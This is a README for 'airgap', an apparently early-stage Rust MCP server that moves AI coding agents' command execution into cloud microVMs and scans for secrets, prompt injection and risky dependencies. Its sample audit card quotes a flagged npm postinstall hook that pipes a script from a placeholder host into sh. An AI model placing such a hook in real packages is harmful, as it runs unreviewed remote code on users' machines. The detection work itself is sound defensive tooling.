
airgap
io.github.dhruvil-codes/airgap
Zero-trust microVM execution boundary for AI coding agents with secret redaction.
Documentation
airgap
Disposable GMI AgentBox microVM execution, supply-chain auditing, and secret-redacting security boundary for AI coding agents.
[!NOTE] AI coding agents such as Claude Code, Cursor, Droid and Windsurf routinely run untrusted scripts, build unfamiliar repositories, reproduce issues and execute test suites. Doing that on a developer workstation exposes it to malicious install hooks, supply-chain attacks and credential theft. airgap is a local Model Context Protocol server that moves that execution into disposable GMI cloud microVMs, and scrubs secrets locally before logs or untrusted text are shown or sent to a model. Submitted commands never run on your machine.
[!WARNING] Early development. Offline tests and release builds pass on Linux, macOS and Windows. Live sandbox runs and inference work on the tested account; live patch verification currently gets HTTP 403 from GMI. See the validation record.
Architecture
flowchart LR
subgraph Host["Local Workstation (Protected)"]
Agent["AI Coding Agent<br/>(Claude Code / Cursor / Droid)"]
Airgap["airgap MCP Server<br/>(100% Rust stdio)"]
Scanners["Local Scanners<br/>โข Secret Redactor<br/>โข Supply-Chain Auditor"]
Agent --> Airgap
Airgap --> Scanners
end
subgraph Cloud["GMI Cloud Security Boundary"]
AgentBox["GMI AgentBox MicroVM<br/>(Node.js / Python / Rust containers)"]
MaaS["GMI MaaS<br/>(Defensive Prompt-Injection Classifier)"]
Airgap -->|"Explicit Files & Commands"| AgentBox
Airgap -->|"Sanitized Untrusted Text"| MaaS
end
AgentBox -->|"Test Logs & Exit Code"| Airgap
Airgap -->|"Compact Markdown Status Card"| Agent
Only files the agent passes explicitly are uploaded; the server never reads your working tree on its own. Sandbox output is redacted before it reaches the agent, and every sandbox is deleted after the run. The image template stays on GMI Cloud so later runs with the same image and instance type skip the build. Details: architecture and threat model.
Why airgap?
| Local host execution | Docker on host | airgap cloud microVM | |
|---|---|---|---|
| Host contamination risk | High | Medium (shared kernel, mounted volumes) | None from executed code; it runs remotely |
| Needs local Docker daemon or VMs | No | Yes | No |
| Startup overhead | None | Local image pull and build | Remote provisioning; no local build (the first run per image builds a template, which can take minutes; later runs reuse it) |
| Pre-execution dependency audit | None | None | airgap_audit_supply |
| Secret scrubbing in logs | None | None | Automatic on sandbox output; airgap_redact_secrets for any text |
| Prompt-injection defense | None | None | Model-assisted airgap_scan_injection |
Quickstart
1. Install. The installers download a published release, verify its SHA-256 checksum and run airgap setup --yes.
# macOS / Linux
curl -fsSL https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.sh | bash
# Windows PowerShell
irm https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.ps1 | iex
If no release is published yet, or you prefer source, use Cargo (Rust 1.89+ and a native linker):
cargo install --git https://github.com/dhruvil-codes/airgap --locked
2. Configure your editors. Run this from your workspace:
airgap setup # detected editors; Cursor, Claude Code and VS Code if none detected
airgap setup --cursor # one editor only
airgap setup --rules-only --yes # agent routing rules only
Setup registers the server for Claude Code, Cursor, VS Code and Factory Droid, and adds a managed routing-rule block to .cursorrules, CLAUDE.md and AGENTS.md. For Claude Code it adds mcp__airgap__* to permissions.allow without changing permissions.defaultMode, so airgap tools run without prompts while host tools (Bash, Write, Edit) keep their existing confirmation gates (pass --claude-bypass-permissions only if you explicitly want to disable all Claude Code tool prompts; see setup). GMI keys are written only to user-level configs (~/.claude.json, ~/.cursor/mcp.json, ~/.factory/mcp.json). Workspace files such as .mcp.json, .cursor/mcp.json, .vscode/mcp.json and .factory/mcp.json never store credentials, and setup removes keys it finds there. Set GMI_AGENTBOX_API_KEY and GMI_MAAS_API_KEY first (see .env.example); local scanners work without them.
3. Check health.
airgap doctor
Doctor checks both keys, the MaaS gateway, AgentBox compute eligibility, the configured model, and every registered editor config, labeled by client and scope. It creates no billable resources.
Using it from your agent
Reload your editor and prompt normally. The server instructions and routing rules tell the agent to pick and chain the tools itself:
| You say | The agent calls |
|---|---|
| "use airgap and run tests" | airgap_audit_supply on the manifest, then airgap_sandbox_run |
| "use airgap to verify this PR diff" | airgap_verify_patch (falls back to airgap_sandbox_run on a provider error) |
| "use airgap to audit dependencies" | airgap_audit_supply |
| "triage issue #42" | airgap_scan_injection on the issue text before acting on it |
Routing rules guide tool choice; they cannot enforce it. Adding this server does not disable the agent's own terminal tools, so configure client permissions if all execution must go through airgap.
Sandbox, patch verification and supply-chain tools return a box-drawn terminal card for the agent; secret redaction and injection scans return a compact Markdown card. Every tool also returns the full JSON as structuredContent. These two cards are real output from the release binary:
โญโ ๐ก๏ธ AIRGAP SUPPLY-CHAIN AUDIT โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ RISK ๐จ HIGH DURATION 4ms โ
โ FLAGGED 2 items SCOPE Manifest heuristics โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ FLAGGED COMMANDS โ
โ โข npm script postinstall: curl -s https://example.invalid/x.sh | sh โ
โ โข dependencies/left-pad: remote or local dependency requires review โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ ๐ Manifest heuristics evaluated. Local host protected. โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
๐ก๏ธ **Airgap Secret Redactor** ยท โฑ๏ธ **5ms**
๐ **1 Secret Redacted**
> DATABASE_URL=postgres://app@db/prod
> DB_PASSWORD=[REDACTED]
> max_tokens = 4096
Sandbox and verification cards have the same frame. Their duration includes remote provisioning, so expect seconds rather than milliseconds (the values below are illustrative):
โญโ ๐ก๏ธ AIRGAP SANDBOX EXECUTION โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ STATUS โ
PASSED EXIT CODE 0 โ
โ IMAGE docker.io/library/rust:1-bookworm DURATION 41870ms โ
โ COMPUTE gmi.sandbox.medium SANDBOX 100% Host Guarded โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ OUTPUT โ
โ running 1 test โ
โ test arithmetic ... ok โ
โ โ
โ test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ ๐ Host Protected: Executed inside isolated GMI AgentBox MicroVM. Zero local โ
โ modifications. โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
โญโ ๐ก๏ธ AIRGAP REMOTE PATCH VERIFICATION โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ VERDICT โ UNVERIFIED DURATION 38210ms โ
โ STATUS 46 passed ยท 2 failed COMPUTE gmi.sandbox.medium โ
โ IMAGE docker.io/library/node:20-bookworm SANDBOX 100% Host Guarded โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ TEST SUITE METRICS โ
โ Pass Rate: 96% [โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ] 46/48 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ FAILURE REASONS โ
โ โข Patch apply or test command failed (exit code 1). โ
โ โข 2 test(s) failed. โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ OUTPUT (last 20 lines) โ
โ โ parser โบ rejects empty input โ
โ โ parser โบ keeps trailing newline โ
โ โ โ
โ 2 tests failed โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ ๐ Zero Host Contamination: Clean base snapshot verified in disposable cloud โ
โ sandbox. โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
Tools
| Tool | Runs in | What it does |
|---|---|---|
airgap_sandbox_run | AgentBox | Runs a command against an explicit file snapshot. Picks a Rust, Node.js or Python image from the files, or uses image. Returns exit code, redacted stdout/stderr and duration. |
airgap_verify_patch | AgentBox | Applies a unified diff to a clean base snapshot and runs the test command. Verified only with exit 0, untruncated logs and a recognized Rust or pytest summary. If the provider returns an error (currently HTTP 403 on the tested account), agents are told to apply the diff and run tests with airgap_sandbox_run. |
airgap_scan_injection | MaaS | Classifies issue, PR, log or feedback text as clean, suspicious or malicious. Text is redacted locally first; malformed model output never yields a clean verdict. |
airgap_redact_secrets | Local | Scrubs private keys, known token formats, credential assignments and high-entropy strings. Sends nothing to the cloud. |
airgap_audit_supply | Local | Flags install-time scripts and alternate dependency sources in package.json, requirements.txt or Cargo.toml. Heuristics only; no advisory database. |
airgap_configure | Local | Changes the default model and timeout (1โ1800 s) for later calls. |
airgap_audit_repo | AgentBox + MaaS | Six-phase defensive static review of explicit files. Findings must quote the exact source line; runtime exploitability is not tested. |
Inputs, limits, configuration variables and cleanup behavior are in the tool reference. Example arguments: examples/sandbox-run.json, examples/redact-secrets.json.
Security boundary
- GMI sandboxes have outbound internet. "airgap" refers to the host execution boundary; this is not an offline or physically air-gapped system.
- Files you send to a sandbox or model leave your machine. Sandbox snapshots are uploaded unchanged; injection-scan text and audit sources are redacted first.
- Provider base URLs are read only from the process environment, so a cloned repository's
.envcannot redirect your keys. - Scanners and model verdicts can be wrong. Receipts are unsigned SHA-256 integrity records, not attestations.
Read the threat model and the security policy before relying on it.
Documentation
- Setup, installers and doctor
- Public hosting and remote HTTP deployment
- Tool and configuration reference
- Architecture and source map
- Threat model
- Validation results and known limitations
- Releasing, changelog, contributing, code of conduct
Development
cargo fmt --check
cargo check --locked
cargo test --locked --all-targets
cargo clippy --locked --all-targets -- -D warnings
cargo build --release --locked
Tests run offline against local HTTP mocks and a real stdio child process; they need no GMI credentials and create no billable resources. On memory-constrained Windows machines, see CONTRIBUTING.md.
License
Licensed under either MIT or Apache-2.0, at your option.
Maintained by Dhruvil Mistry. An independent project, not an official GMI Cloud product.
No installation packages available.